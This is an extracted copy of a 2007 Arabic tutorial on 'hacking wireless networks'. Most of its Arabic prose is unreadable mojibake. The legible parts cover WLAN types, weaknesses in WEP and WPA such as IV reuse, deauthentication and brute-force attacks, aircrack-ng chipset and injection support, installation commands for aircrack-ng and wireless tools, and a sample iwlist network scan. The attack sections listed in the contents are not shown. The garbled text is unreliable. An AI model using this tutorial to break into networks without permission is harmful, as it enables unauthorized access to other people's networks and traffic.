http://www.t0010.

com ‫ ا رق ا

و‬

‫
א

א 
א‬



‫
א‬

BrokeN-ProXy
####################### Br0ken r0x######################
# Lesson : Howto Hacking Wireless Networks step by step #
# Author: BrokeN-ProXy #
# Page: www.3asfh.net & www.sniper-sa.com #
# Contact Me 0nly email: br0ken.rlz@gmail.com #
# Msn Messenger : broken-proxy@hotmail.com #
####################### r0x just do it ############### #####

Hacking
Wireless Networks

© Copyright #₪₩~ BrokeN-ProXy #₪₩~ 2007

2
http://www.t0010.com ‫ ا رق ا
و‬

W
9:
;‫<)א‬:
+‫<=א
א‬

http://www.3asfh.net/vb/ %&‫*)('
א‬

http://www.sniper-sa.com/forums/

+&‫
א‬,%*‫*)('
א‬

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

+‫=א
א‬/
8?‫א*@
א‬

!"#$‫
א 
א‬
T0010.COM

##
-‫
א‬./‫
א‬0*1
23(

45
##
http://www.t0010.com/books/index.php

8!"#$‫
א‬+‫

א‬67
--------------------------------------------------------------

aLT3rEQ$Hacker
---------------------------------------------------------------

: ',-+ '()*+
‫ق‬I‫ـ‬K 0‫ـ‬,K L+0‫ـ‬MN‫ار ا‬6FG‫ ا‬Adobe Reader /+0123 ‫ام‬6789‫ ا‬:;<= >?@
‫ار‬6‫ـ‬F‫ إ‬2‫ـ‬T] O‫;ـ‬,P8N‫ب و‬0‫ـ‬8SN‫ ا‬OT‫ا‬63 ‫دة‬IWI,N‫ ا‬X3‫وا‬2N‫ ا‬:Y+ O,YZ [SN
: [N08N‫ ا‬X3‫ا‬2N‫ ا‬a<= '‫آ‬2dN‫ ا‬efI+ aN‫ اذه> إ‬/+012^N‫ ه_ا ا‬L+

http://www.adobe.com/uk/products/acrobat/readstep2.html

3
http://www.t0010.com ‫ ا رق ا
و‬

W
+‫
('
א‬

٥
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK WARNING
(=A


٦
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK

EF‫'
א‬D‫
א‬1
)


EWLANF
EF‫'
א‬D‫

א‬


J(-‫
א‬K(&




EF‫
א‬N7$‫ @'
א‬L‫!א‬M



١٣KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKEF‫'
א‬D‫
א‬OD



Wired Equivalent Privacy

N5




Wi-Fi Protected Access

N5




١٥KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
J(‫א
אא‬#Z‫
[
א‬V)Y*E
X‫"א'
א‬RS‫
"א‬TUVWS‫א‬



6V
\F



١٧

KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
aircrack-ng
]!

5


١٨
KKKKKKKKKKKKKKKKKKK
‫_א‬Oa5
V*
)!
`E"
_‫)א‬W

wireless tools
5
١٩
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK

c
X‫'
א‬D‫
א‬45
d3e


٢٠
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
[ Monitor Mode]
R-‫
א‬9:
'‫
א‬4(A


٢٢
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
The attack method 1
9"S‫
א‬ij/‫(
א‬k



٢٦
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
The attack method 2
!a‫
א‬ij/‫(
א‬k
٣٢
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK

lm‫א‬

4
http://www.t0010.com ‫ ا رق ا
و‬

WARNING
KKKKK
(=A

KK
0*1
o*‫א
א‬pS‫
"א‬+‫
<=א
א‬i‫)א‬YE‫;
א‬E


‫
א‬M
X"n
8Z‫
א‬,6-‫
א‬8!‫א‬Z:





Dq
0q6&(

)W("
T)t"
OY
06&(

)W(
()
"u
vFE

Hacking
q‫
א‬rM
sp"M
rM
)(M"


q (uS

q /‫}
א‬qqM
$
qq!M
FF
qq
{qq (
|=qq‫
א‬N"S‫
א‬Lqq*‫
א‬qq
rqq!
rM
zqq*lM
،

(Zwqq
xuS‫
א‬q :"

q&‫
א‬Dq!
[
_q"
'‫=א‬q‫)|
א‬qA"
q*S‫א'
א‬q~a‫
א‬Rq:"
q6\!S‫
א‬q
q(‫א‬/‫}
<=€
א‬M
!M
KK
,6-‫א‬


EE
,6-‫
א‬+@
,
e&-‫"א‬





W
+‫
<=א
א‬r"
0!
&
[
ƒ(

4
_‫
@)א‬r

‫{
א‬e
)&
+‫
<=א
א‬WZM
)‚"





K
Wireless
q‫
א‬EF‫'
א‬D‫א
א‬#Z$
_&W
W
_$"M





K
8‫
א‬p‫
"א‬S
,6V-‫'
"א‬D‫
א‬8E‫
)א‬W
_ !„




EF‫'
א‬D‫)
א‬m
TR"U-‫'
א‬5D‫
"א‬،
!
[‫'
א‬F
+3%M
‫א‬6&
W
_a„




K
43
‡*<
)W(
$"
V‚‫א‬#Z‫
…
א‬6†‫
א‬V@
rM

















'5Dq‫
א‬q5
rw‫


א‬.5q/‫
א‬q<
JqM

4~Dq‫
א‬q6\!M
[
T)qW‫א‬-‫~א'
א‬a‫
"א‬K&‹‫
Š‰!
*ˆ
א‬


K
*S‫
א‬V6\!"
V@
K&p
ˆ!
KD
V
r*&(
'&-‫[
*
א‬




zq*lM

q5"
qY-‫
א‬4~Dq‫
א‬q\!
q "
]‫‰א‬q‫
א‬q5
 
[
O5
4‹e
0
.5
/‫Œ
א‬1
7Z

V
qq @"
V
&‚‫א‬qq 
qq (6
Vqq !M
(qq 

Tqq ~-‫
א‬v""
|)qq 3

‫א‬3qq (
rM
,6qq -‫
א‬+qq @

q q


K
&‫
"א‬FE‫
א‬N")‫
א*
"א 
[
א‬j1
eR
[
6<-‫"א‬

5
http://www.t0010.com ‫ ا رق ا
و‬

EF‫'
א‬D‫
א‬1
)

W
EWLANF
EF‫'
א‬D‫א‬

q6‫
א‬Fq
q<"
q&‫
א‬5qS
zq"
€)((
r
|M
[
4*‫
א‬dYD‫
א‬rŽ
rw‫
א‬ s%M

0qq (
qq !#!$‫
[
א‬s7qq ‫
"א‬8qq !"#‫)
א‬qq (‰‫
א‬zqq (
"M
4qq E(
rM
 qq (
4qq ‫א‬5
|M
r")qq "
Nqq 6†‫א‬

‘qq†‫‰'
א‬qq1
'Fqq‫
א‬NFqqZ
0qq!-
‫
א‬r‫א‬Oqqk
5qq@
'‫א‬tqqk
qq
zqq1
(eqq-‫
א‬rqqŽ
sqq%M"

qq5


K
!#!$
N7F
N6†‫
א‬i‫)א‬YE‫
א‬8kS‫א‬

WLAN \wireless local F


qEF‫
א‬q†‫'
א‬q q
Dq‫
א‬8q<"
T)()’‫
א*
א‬4‹
‫=א‬q q<
4q q5"

radio
F

q q(R‫
אא‬Tqq @:
‰qq 1
qq !#!$‫
א‬Dqq 
N7qq $
qq *‫=€
א‬qq <
s6qq "
Earea network



K‡FES‫‰
א‬1
N7$‫

א‬$)
Efrequency/RF

8qEF‫
*
א‘
א‬i‫)א‬YE‫
א‬Ve
dYD‫
( 
א‬X‫
א‬5S‫
א‬1
T1
8Ve

*Z‫
א*ˆ
א‬M

٢٠٠٥

iqq1
Nqq
Œqq&‫;
א‬qq“M
qq
[
`$w‫'
א‬qq”
9:
*Zqq‫ˆ
א‬qq*‫
א‬R)qq1

4q %"
)qq‚"
K
qq!#!$



W
N7F
,t
(7*1
z1
*Z‫)
*
א*ˆ
א‬6&"

6
http://www.t0010.com ‫ ا رق ا
و‬

E
wireless computer cardsF
EF‫
א‬6‫
 ‚'
א‬J١

q‚ ‫=€
א‬q<
|qA
"
0

ep–
‚
r
)‚
"M
Z—
.VW
|M
"M
N6†‫
א‬.V’
TRW
r
)‚"

K
8WZ
"M
8Z‫א‬R
8t‫
<א‬z1

W
8EF‫"'
א‬5
L‫!א‬M

01!
6†‫
א‬TUVW˜
8E$
'5
-‫

א‬TUVW˜

8E$
'5
PCMCIA

USB
01!
6†‫
"א‬-‫
א‬TUVW˜

8E$
'5

.V’‫
)]

א‬8E$
'5
V
)W(
*(#*E
”e

N6†‫
א‬TUVWM

8qe
W
\F

7
http://www.t0010.com ‫ ا رق ا
و‬

W
Eaccess pointF
N%‫

! 
א‬J
٢

*ZqE
ˆ!
z1
|A
X‫א'
א‬t 
*
M
K

!#!$‫
א‬D
EF‫'
א†
א‬D‫
א‬47

Dq
07q
q%Z
1*q%
q6‚™
‘
Tt ‫š
א‬Z
8t‫‰
<א‬1
N%‫
! 
א‬D
4
e
. 0pM
NE‫‰
 '
א‬1

+‫
<=א
א‬8qe
V(
5
(k
vD
i!
`E"

8
http://www.t0010.com ‫ ا رق ا
و‬

J(-‫
א‬K(&

rŽqqe
،

q /
Dqq!$‫
א‬qqE‫œ
"א‬qq‫
א‬qq1R"
،

q Ve‫
א‬qq
)qq5™‫
"א‬،qqEF‫'
א‬qq*‫
א‬Kqq
›qqY

W
4a
'En

Institute of Electrical and Electronics Engineers (IEEE)

Internet Engineering Task Force (IETF)

Wireless Ethernet Compatibility Alliance (WECA)

International Telecommunication Union (ITU)

4q!
q5
Kq(& IEEE
4q6&‫'
א‬q16
iq

F

_ a
،
J(-‫ )
א‬t
RVW
T)&
‡#D
K
q5"
E
q S‫
א‬qA
;‹q‫"
א‬M
q((R‫'
א‬qW
i‫)א‬YqE‫א;
ž
א‬qE
،،
F
_ aq
F

qZ—
9:
.qVW
q
'&-‫א‬



K
'$7F
NE‫
א‬E"
i‫)א‬YE‫

א‬z"

q *‫Ÿ
א‬q1"
،

q‚ ‫
א‬T‫א‬RŽq
qV IEEE 4a
'En
rŽe ،EF‫'
א‬D‫
א‬J(
( 
;*„M

. EF‫
א‬N7$‫'
א‬D
T)(e
xZM (‹‚"
،
rS‫
"א‬،
|RR#‫א‬

9
http://www.t0010.com ‫ ا رق ا
و‬

EF‫
א‬N7$‫ @'
א‬L‫!א‬M

Xq‫'
א‬eq-‫
א‬9:
_‫א‬R*qE‫
א‬q¡
L‫א‬q!M
6qp

qEF‫'
א‬Dq‫
א‬K*7q
 
،
‫'
א‬D‫
א‬4a

.
EF‫'
א‬D‫
א‬L‫!א‬M

L!
45
1
 
T=*
*E"
<‰1 '!‫
א‬NE:
E

W (WWAN) *‫&
א‬E‫
"א‬EF‫
א‬N7$‫
@'
א‬K١

"M
T)q
&‫
א‬q&‫'
א‬Dq‫‰
א‬q1
qE$
'$7q‫
א‬JqE™
q
,)Yq-‫ א‬WWAN
'q*
q¢l

K
%m‫'
א‬D‫א‬

q‚‫א‬-‫
א‬i‫)א‬YE‫
א‬NFZ


N")‫
"א‬r)-‫
א‬4a
،
&E‫
"א‬e‫~א‬W {k*
‰1
'$7$‫
<=€
א‬i‫)א‬YE‫
א‬ "



KEF‫)
א‬m‫|
א‬e
4‚

Te-‫
א‬1*7‫
א‬6‚S‫
א‬6\!M "M
't‫א‬/‫
א‬TR)&

Global

8!qa‫
א‬4q’‫
א‬q6\!M
6‹q
E2GF
8!a‫
א‬4’‫
א‬6\!™
‫ א‬WWAN '*
`&£

Cellular Digital Packet "
،System for Mobile Communications
(
GSM
)


Code Division Multiple Access
(
CDMA
)
. "
،Data
(
CDPD
)

T
R")q
N¤qo
q!:
V‹q&
cq 
Xq‫
"א‬،

8!qa‫
א‬4’‫ א‬N7‫

@'
א‬N!F
RV’‫
א‬e‹

9:
ep
_61
_E
E
X‫
א‬2a‫
א‬4’‫
*'
א‬9:
،
V‹&
, {e‫
אא‬i)1
9:
ep


. 2a‫
א‬4j
861
}
( 
ˆD* ITU ¤jD
KŒ&‫
א‬N
N¤j‫!
א‬: Oe

W Wireless metropolitan area networks (
WMAN

)
K
٢

q *
6qp
TR)q&
q‚‫
א‬,q
qE$
'$7q‫
א‬JqE™
q
,)Yq-‫ א‬WMAN
'q*
q¢l

r")q

E
 -‫
א‬4a
i1
r
[
"M
8&W
i
6p "M
*&
*()
[

¥r
T)1
,
_FaF
!)


K
ˆ m‫
א‬OW™"
E3*‫'
א‬F‫"
א‬M
t‹‫` א‬S‫'
א‬F5
)-
&‫א
א‬

[
cqu"
،q‫
א‬N7q$‫'
א‬Dq
1)q5
4q6& rM WMAN
'Dq
q 
،cqu

9:
eqp

K‫ א‬N7$‫
א‬D
TWn-‫ ˆ
א‬m‫
א‬4 &


10
 http://www.t0010.com ‫ ا رق ا
و‬

zq1
q ‫
א‬R‫א‬RUq("

'q!‫
א‬4q*
;‫א‬q6‫
א‬qA
&@S‫"
א‬M
((R‫אš
אא‬S‫ א‬WMAN '@
i)Y

K
1
'1
!#!:
9:
N%‫
א‬,)Y6 e
X‫(‹
א* 
"א‬1
EF‫
א‬N7$‫@'
א‬

multichannel multipoint distribution service
4qa
،q¡
'q*
i‫)א‬YqE‫
א‬qƒ

4q61
q16
6
، local multipoint distribution services
(
LMDS
)
"
(
MMDS
)


€=q<
(q 
)q
'q%‫א‬-‫
(
א‬q 
[
q *‫(›
א‬q1
8qEF‫
א‬Nq%‫
א‬J(q-
IEEE 802.16



. '*‫א‬

W (WLAN)†‫
א‬EF‫
א‬N7$‫
@'
א‬K٣

4qE
zq1F
q
q *
6qp
qE$
'$7q‫
א‬JqE™
q
,)Yq-‫ א‬WLAN
'q*
ql

KE
 
4a
i1
r
[
"M
،5@
"M
z*
6p
،Na-‫א‬

q5
q5
rq
2q
xqZM
5qM
[
"M
q‚n
-‫
א‬q-‫ [
א‬WLAN
'q@
i‫)א‬YqE‫
א‬q 

[
4q6&‫
א‬q
r)Yq-‫
א‬6q(
zq
TRqW LAN
q@
9:
eqp
"M
،

_ q!
TOq5
'Fq‫א‬


K¡
'‚"M
["
;*‫
א‬6p
¡
‚‫א‬

4q6&‫'
א‬q 
47q
qEES‫ א‬WLAN
'q@
[
K

,(q 
4q6&
rM WLAN
'Dq
q 

8qEF‫
א‬Nq%‫ˆ
א‬q!
q
E
qWZ
iRq
TUqVWM
"M
q((R‫
א‬N7q‫
א‬q@ '‚ 

TUVWMF
EF‫א‬

9:
Oq\!
Lq!
q WLAN
'q@
[
K
Dq
EES‫
"א*
א‬46&‫
 '
א‬, j5
46&
X‫א‬


K
O\!

r"R qq‚n

N7qq‫
א‬qq@
‫א‬Dqq(
rM
،

'‫א‬lnqq
qq1‚
4qqa
،

TR")qq
qq *
[
,)Yqq
T)qq&
qq 

.
D‫
א‬R‫
א‬9:
N%
¥L‫א‬R
‡*<
(
Œ
‫א‬u:
،
N%"
ˆ!
i‫)א‬YE‫א‬

'q!‫
א‬4q!
1qE
R)q§
|=‫
"א‬،WLAN 'D
٨٠٢{١١
}
z1 IEEE ‚R%
، 1997i1
[

q(
،

 q-‫)
א‬q()’‫}
א‬q-‫
א‬0q!™5"
")q(
|=q‫
א‬٨٠٢{١١b
}q6
_qe"
K
q!a

~
٢
9: ١



KU<
~W ٢{٤
RR#‫
א‬z1
!a

~
١١
<)‚
x7‚
1
'!‫
א‬4!

zq1
q!a
q
q~ ٥٤
<)q‚
x7q‚
1
'!‫
א‬4!
R)§
|=‫א‬،
٨٠٢{١١a
<
Z—
)()W
}

.U<
~W
٥
RR#‫א‬

11
http://www.t0010.com ‫ ا رق ا
و‬

W
Wireless personal area networks (
WPAN

)

K
٤

، PDA
4qqaF
TUqqVW˜
qqe5
qqE$
'$7qq‫
א‬JqqE™ qq
,)Yqq-‫ א‬WPAN 'qq*
qql

;‹q‫( א‬POS)

87qYD‫
א‬46&‫‹;
א‬e
6p
T)W‫א‬-‫
א‬E6†‫
א‬6‫ א‬TUVWM
"M
،(m‫
א‬K‫א‬/‫א‬



K
M
١٠
e
z
i)Y-
Ԥ
|=‫<
א‹; א‬POS

8q<
Bluetooth
q*
K

;‫א‬q6‫
א‬qA
&@S‫ "א‬Bluetooth 8<
EES‫ א‬WPAN '*
_ 

K
_ )‚
٣٠
z
'e
9:
'!‫
א‬4*
((R‫אš
אא‬S‫ א‬i)Y
4
()
*

q
Bluetooth
q*
(q 
q("

qt‫
"א‬+q’‫
"א‬r‫)א‬q’‫‰
א‬q1 Bluetooth
'q!
4!
 

Xq‫
א‬، Bluetooth Special Interest Group (SIG)

z6q
q*‫=€
א‬qV
q6V
q16
4q‚

_‫)א‬W O~%
 !
6p
TUVWS‫
א‬4%
،4()
4D
K١٩٩٩
i1
١{٠
‫)א‬%‫ א‬Bluetooth '%‫' א‬D!


. ;‫א‬6‫
א‬A
&@S
'k‫;
א‬D!:
,)Y6
 
،
E4‚M
"M
#
١F

iq WPAN
'Dq

٨٠٢{١٥
4q6&‫
א‬q16 IEEE
qEM
، WPAN

'q*
(q 
)q

1.0.
‫)א‬q%‫ א‬Bluetooth
'q%‫
א‬9:
_‫א‬R*qE‫
א‬، WPAN

J(q
(q 
€=q<
4q6&‫
א‬q16

4~Dqq‫
א‬qq!:
،qq‚ ‫‡
א‬FVqqE‫›
א‬qq©
،)qq&‫›
א‬qq©
8qq<
J(qq-‫=€
א‬qq/
qqt‫)א`
א‬qq<S‫א‬


.٨٠٢{١١
N7‫{

@'
א‬e‫
"אא‬،NR-‫א‬

W
)7-‫א‬


W
8‫
אא‘
א‬z1
‘~p‫()
א‬U6
TeT_TaT
W

("R<
+1
‚
http://www.arabhardware.net/forum/showthread.php?t=27438&highlight=WLAN

qpM
Lqp-‫
א‬q
KqpM
Œ"
3p‫
א‬7‫
&›
א‬WRM"
Lp-‫
א‬z1
)1

K
0W“
`E
|=‫‘
א‬e

12
 http://www.t0010.com ‫ ا رق ا
و‬

EF‫'
א‬D‫
א‬OqD
WEP , WPA

q6<"
EF‫'
א‬D‫
א‬OD
)Y-‫'

א‬$5‰‫

א‬,1!

_(
)W(


KK
47
6V*1
!
`E"

W
Wired Equivalent Privacy

N5

J١

c=qq
،
qq*S‫
א‬kqqY-‫
א‬qqVW‫
[
א‬qqEF‫'
א‬Dqq‫@
א‬Dqq<
IEEE
)qqV&
[
raqq‫‡
א‬RM

q‫'
א‬Dq
q”e-‫
א‬%7qm‫
א‬qE‫
א‬0q1
qkM
q(
Nq5"
67
”/‫‚
<=€
א‬



K
WEP
+
$
`1
|=‫
"א‬E
Wired Equivalent PrivacyF

{qq A"
'qq  &-‫
א‬ODqq 
RC4
z1)qq 
ODqq 
qq .‫א‬Z
zqq 1
0qq *
[
WEP
Nqq 5"
)qq 61‫א‬

qq5
.5Vqq
qq 
TOqq Z
Tqq~„
0qqe
KDqq5‫
א‬zqq
F(qqk
Nqq5"‰‫=א
א‬qq<
i)qq(
Œ
،
%7qqm‫א‬


K
(E
4D
T~a‫
א‬v@‫`
א‬E" bit ١٢٨
"M 64 bit )Y-‫
א‬OD‫
א‬T‚
1
\*‫
~›
א‬0(

8q<"
RC4
L!

bit
٢٤
OD
T‚
€<
IV
q‫
א‬IV
[Initialization Vector ]
[
RW
T~a‫א‬

q(
œq&(
IV
q
qe5
q65
q6o
q
R
‫=א
א‬/"
OR 128
٦٤
)YE‫א;
א‬E
„


K
8
r
9:
IV
KM
٥٠٠
,

qqE5
€qq<
"
$:
{tqq‚R
١٠
=qqZ™(

q 
‡‫א‬qq‫
א‬rM
qqW)
qq‫
א‬qq
٢٤
cqq
!
rM
 qq!
cqqu
)qq&

rDqq1
bit٦٤

"

bit١٢٨
q q‫
א‬0qq5
vqq@‫`
א‬qqE
‰qq5M
4Dqq
T7qq‫
א‬s‹qq

rM
4qqWM
qq"
<ODqq


K

i)Y
ª"
V(

0
re&

q
٢٤
q<"
IV
q<
8!qa‫
א‬Uq’‫
"א‬RC4
Lq!

١٠٤
OD
N"S‫;
א‬U’‫
א‬,tUW

0!


١٢٨
q‫א‬

N"S‫
א‬,tUqW
q
rq
iFq‫
א‬Jq!

q
٦٤
q 

q*
q:"
q
١٢٨
€ODq
zq1
7q
V&
‫א‬u:

qq
٦٤
zqq1
47qqA
v‫
א‬Vqq&
‫א‬u:
qq
٢٤
qq<"
IV
qq<
8!qqa‫;
א‬Uqq’‫
"
א‬RC4
Lqq!
qq
qq
٤٠
ODqq

WEP
r$
WPA
z1
WEP
i‫)א‬YE‫
א‬4‹(
}*‫
אƒ
א‬V-‫א‬،
WEP header
[
05
iF<


K
EF‫
א‬D‫
א‬z1
€O„™
¬F
Oƒ
œ&(
D‫
( «
א‬

13
http://www.t0010.com ‫ ا رق ا
و‬

W
Wi-Fi Protected Access

N5
J٢

WEPq
!5
8‫*
א‬S‫
א‬D-‫
א‬4
٢٠٠٣
i1
N5‰‫
<=א
א‬V

"
q(63
,qE"
q( ‫=€
א‬q<
1)q
"

Wi-Fi Protected Access
q 
7qZ‫
א‬8q<
WPA
W 6<


WPA with RADIUS

*q
"
eOqE
J()q(‫{
א‬q(k
q1
,)Yq-‫{ 
<('
א‬3‫
[
א‬R61$‫
א‬r(
( ‫[
<=€
א‬



K
4(k
v@
9:
š§
0!S
m‫
<=א א‬1
sp‫
"
א‬vD‫
א‬R)7

WPA with PSK [pre shared key]

"M
`q
٦٣
9:
٨
q
qVeM
R)q1
0q65
|M
`q&!
rM
 !
"
$6&E‫
א‬a5S‫
א‬8<
( ‫"<=€
א‬


K Hexadecimal

‚
٦٤



€=qq <
z6qq 
"
qq V
‚‫א‬#Z‫&
א‬7qq ‫
א‬qq 
sqq %M
2qq 
_‫)א‬qq &
qq a5M
'qq .‫א‬Z
N6&qq E‫)
ž
א‬qq 
"

4Dq

Xq‫
"א‬Temporal Key Integrity Protocol
qq
7qZ‫
א‬8q<"
TKIP
q.‫א‬m‫א‬

K
i)Yqq-‫
א‬4qq‚
qq
RqqE‫
א‬i‫)א‬YqqE‫ 
א‬q E‫
א‬i)Yqq
4qq
ODqq‫
א‬sqq

Oqq~
qq(
6qq


K
0(
5
4V‫

א‬8"
i)Y
4
„
<"

IV
(k"
WEP
4a




ARP
4q61
q*-
qp"
|=
q‫
"א‬Message Integrity Code
4qa
xqZM
'*qA
9:
ep

‫
=א‬q<"
WEP
N‫
א‬i)Yq
qE$
q@
RqW"
0q
[
0q 
rq
8q‫

"א‬Replay Attack

_ ‹q(M
cq!M
9:
eqp

LEM
4D
D‫
(
א‬c
8"
IV

061

L(
ij/‫א‬

R)qq&‫
א‬qq6o
)qq
œqq&(
4~Dqq(
)qqM
qqVe
qq
Dqq‫
א‬r:
qq
[
iqqj/‫
=א
א‬q<
i)Yqq
rM
 qq

cqe‫
א‬0qe
rq(
i.$
IV

q6o

)q(
q*5
‫א‬u:
i.$
0q!S

4~Dq"
Dq‫
א‬cq"
IV

+ -‫א‬


K
EF‫
א‬D
*(
J5S‫
"א‬.V’‫
א‬,
8D 
)1‚




V(
5
r
&!
<
+‫
؟؟
"א’א‬V(
5
r
4<
,‫
א‬WPA
q
W!
V-‫א‬

Dq
(RqW-‫
א‬47q
œq&(
Deauthentication Attack
z6q(
iqj<
i‫)א‬YqE‫ 
א‬qE‫א‬

qqEF‫
א‬Dq
i)Yqq-‫
א‬NqZR
qq61
‘q
)qq
rDq1
qq!„
Tq
rDqq(
Vq©"
qEF‫א‬

5qq/‫)<
א‬qq&
qq*(
Jqq5S‫
"א‬i)Yq-‫
א‬,qq
ODqq‫
א‬sqq
NRqq
qqVe
qq(
Xq‫
א‬qq\3‫
א‬8qq<"

q6Š
N"q§
œq&(

brute force attack
0q?‫
א‬iqj<
i‫)א‬YqE‫ 
א‬qE‫
א‬ODq‫
א‬cq(
N"q§

œq&(
)Yq-‫
א‬RqE‫
א‬T‚

z1
)6&(
ij/<
v®"
D‫
א‬OD
)Y-‫
א‬RE‫א‬



K
V‚

z1
V(
0!‫
א‬O5
N6‫!'
א‬Z
٨
‡RE
‫א‬u:

14
 http://www.t0010.com ‫ ا رق ا
و‬

J(‫א
אא‬#Z‫
[
א‬V)Y!
`E
X‫"א'
א‬RS‫
"א‬TUVWS‫א‬

K
J*
i\!
01
5
N6
65
.VW K١
Aircrack Tools

{e‫
א‬8E
$
'5 K٢
Aircrack-ng Tools K٣

aircrack-ng


{e‫ א‬8E$
'5

5
N6
.VW

tools aircrack tools
J*
i\!
01

6V
\F

ct‫א‬q@
)q*1
=q
q5
c=q

Aircrack
]q!
zq1

46&qE
J(‫'
"א‬5
45
Je
0!‫א‬

K

J*
1)(
cu
9:
ep:
]!‰‫
א‬1)(
0!M
€;‫
@א‬4‚
)5™
rM
"
'




'5Dqq‫
א‬qq
¯‫א‬K NETGEAR Or Linksys
xqqE
5Dq‫

א‬qqE‫
א‬qqV
q
{qqe‫
א‬q*

4qq<
R)qqA
`qqE
Xqq‫
א‬8qq<
rS
_‫)א‬qqW
qq6V
§Dqq‫
א‬Lqq!
qq&!
[Chipset]
§Dqq‫
א‬Lqq!
qq6<M
qqW)


K
$
iM
]!‰‫
א‬1)


]qq!‰‫
א‬q‚
zqq1
;q*
iFq‫=א
א‬qq<"
Atheros
8
q<
J*qq
1)q"
]q!‰‫
א‬1)qq
§q@
4‹qeM




www.aircrack-ng.org

The best chipset nowadays is Atheros. It is very well supported under

Linux, and also under Windows (PCMCIA/CardBus only). Neither
support any USB wireless devices. The latest madwifi-ng patch makes
it possible to inject raw 802.11 packets in either in Managed and
Monitor mode at arbitrary b/g speeds.

15
http://www.t0010.com ‫ ا رق ا
و‬

q
q‫
א‬Lqq!
46Dq(
"
[
]qq!‰‫
א‬q‚
qq
uZ™q
N")qq’‫]
]
א‬q!‰‫
א‬qq
qe‫א‬-‫"'
א‬qq‫
א‬,q(
N")qqW
‫=א‬q<

K
J*
aireplay
_‹(M"
J*"
.")*(


airodump
1R
"

chipset

Supported by
Supported by Supported by aireplay
Chipset airodump for
airodump for Linux for Linux
Windows
CardBus: YES
YES (driver patching
Atheros PCI: NO (see YES
required)
CommView)
802.11b YES
Atmel UNTESTED UNTESTED
802.11g UNTESTED
Old models only IN PROGRESS (Forum
Broadcom YES
(BRCM driver) thread)
PARTIAL
(ipw2100 driver
Centrino b NO NO
doesn’t discard
corrupted packets)
NO (firmware drops
Centrino b/g NO YES most packets)
ipw2200inject
NO (See this thread
Centrino a/b/g NO YES for alpha injection
support.)
Cisco Aironet YES? YES NO (firmware issue)
NO (firmware corrupts
Hermes I YES YES
the MAC header)
NdisWrapper N/A Never Never
YES (PCI and CardBus
Prism2/3 NO YES only, driver patching
required)
FullMAC: YES YES (driver patching
PrismGT YES
SoftMAC: NOT YET recommended)
YES, see rt2500,
rt2570, rt61 and rt73.
YES (rt2500 / rt2570 / Also see Ralink
Ralink NO
rt61 / rt73 driver) chipset comments
later on this pager for
important concerns
UNSTABLE (driver
RTL8180 YES YES
patching required)
YES (driver patching
YES (driver patching
recommended for
RTL8187L UNTESTED required to view
injection and required
power levels)
to view power levels)
TI YES (driver patching
NO YES
(ACX100/ACX111) required)
Partially (See patch
ZyDAS 1201 NO YES
for details)
ZyDAS 1211[B] NO YES YES
Others (Marvel...) NO UNKNOWN NO

16
 http://www.t0010.com ‫ ا رق ا
و‬

Aircrack

]!

5



L
a‫



 '
א‬

kernel headers
gcc

8q‫

"א‬qV5(
q 
0&(.
±m‫
א‬iU‫
")(
א‬V5
8‫(&
א‬.‫


א‬z1
dY@
45
_ &k

Debian

zq1
q*
q&(.
|M
,5q


W
8‫
א‬S‫"א

"(
א‬S‫ 
א‬E
s(

[
Ubuntu , Xubuntu , Knoppix ]

sudo apt-get install build-essential

W
8‫
א
א‬KK
]!‰‫
א‬5#
8™!
rw‫א‬

wget http://download.aircrack-ng.org/aircrack-ng-0.9.1.tar.gz
tar -zxvf aircrack-ng-0.9.1.tar.gz
cd aircrack-ng-0.9.1
make
make install

)7-‫

א‬a‫(
א‬k
KK
J*
,)Y
)*1
e"&
8<"
‫)_א‬W
VE
]!‰‫
א‬a
(k


K

_(
J*
]‫
א‬e5

)Y"

17
 http://www.t0010.com ‫ ا رق ا
و‬

‫_א‬Oa5
V*
)!
`E"
_‫)א‬W

wireless tools
5

wget

S
U‫
א‬3!

wget http://pcmcia-
cs.sourceforge.net/ftp/contrib/wireless_tools.28.tar.gz


tar
S
0 ~p
c!

tar xvfz wireless_tools.28.tar.gz

cd
S
€)
z1
4Z)!

‘~‹‫
א‬ce
)&

cd wireless_tools.28


make
S‫„
! {
א‬
make




make install S
]!‰‫
א‬7*
i!
„

make install

q V*
TOaqq5
qq‫"א‬M
{qq 
T‫א‬RS‫=€
א‬qq<
‰qq1
 qq
cqq!M
2qq
J(‫א‬qq‫
א‬Uqq
qq5#
qq*6‚
‫=א‬qq<"

K
E
V@
R)7
*
F
Oa‫

"א‬iwlist
"
iwconfig

18
http://www.t0010.com ‫ ا رق ا
و‬

c

X‫'
א‬D‫
א‬45
d3e


scan all network around

4q‚
4q‚
vq@
|=q‫
א‬wireless tools
q‫
א‬q5
rM
q
F

iwlist
qS‫
א‬i)Yq!

`qE

E
S‫
א‬i‫)א‬YE‫ 
א‬

bt ~ # iwlist ath0 scan

ath0 Scan completed :
Cell 01 - Address: 00:14:7F:1F:27:6D
ESSID:"SpeedTouch433793"
Mode:Master
Frequency:2.462 GHz (Channel 11)
Quality=60/94 Signal level=-35 dBm Noise level=-95 dBm
Encryption key:on
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
24 Mb/s; 36 Mb/s; 54 Mb/s; 6 Mb/s; 9 Mb/s
12 Mb/s; 48 Mb/s
Extra:bcn_int=100

Extra:wme_ie=dd180050f2020101880003a4000027a4000042435e0062322
